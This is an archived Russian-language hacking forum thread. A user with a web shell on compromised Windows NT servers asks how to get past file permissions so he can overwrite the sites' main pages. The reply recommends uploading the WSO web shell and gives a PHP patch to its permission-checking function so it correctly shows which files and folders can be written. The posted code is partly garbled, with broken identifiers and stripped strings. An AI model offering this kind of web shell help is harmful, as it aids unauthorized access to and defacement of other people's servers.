PDA

Просмотр полной версии : права в windows NT шеле


FlooP1k
03.09.2011, 05:46
Вобщем попалось несколько очень хороших серверов они все на Windows NT. Дык вот практически на из них можно только создавать файлы, а редактировать и заливать нельзя. Причем у большей части в одной папке редактировать можно а в другой нельзя, хотя права на все файлы стоят одинаковые.

Как можно с этим бороться?

Или если способ редактировать файлы? Просто допустим вот шелл, заливать могу, создавать файл могу, удалять файл который я создал могу. А удалять файлы которые есть уже на сервере не получается. Если какой то хитрый способ как то перезалить главную страницу что бы ее можно было редактировать? Или хотя бы посмотреть список файлов которые можно редактировать.

Faaax
20.09.2011, 07:35
закачай на серв wso и подкорректируй его

На вин права не правильно отображаються, а именно функция:


PHP:
functionwsoPermsColor($f) { if (!@i s_readable($f)) return''.wsoP erms(@fileperms($f)) .''; elseif (! @is_writable($f)) return''.ws oPerms(@fileperms($f)) .''; else return''.wsoPerms(@fileperms($f) ) .''; }

Багфикс при котором работает правильно


PHP:
functionwsoPermsColor($f) { if(i s_dir($f)) { if($GLOBALS['os'] =='nix'){ if(is_wri teable($f)) { return''.wsoPerms(@fileperms($f)) .''; }elseif(is_readable($f)){ return''.wsoPerm s(@fileperms($f)) .''; } else return''.wsoPerms(@fileperms($f) ) .''; } else {$tmp=$f.'/.ssps_tmp'; if(@touch($tmp)){ unlink($tmp); return' '.wsoPerms(@fileperms($f)) .''; }elseif(opendir($f)){closedir(); return''.wsoPerms(@fileperms($ f)) .''; } else return''.w soPerms(@fileperms($f)) .''; } } else { if($fp= @fopen($f,'a')) re turn''.wsoPerms(@fileperms($f)) .''; elseif($fp= @fopen($f,'r')) return''.ws oPerms(@fileperms($f)) .''; return'' .wsoPerms(@fileperms($f)) .'';; } }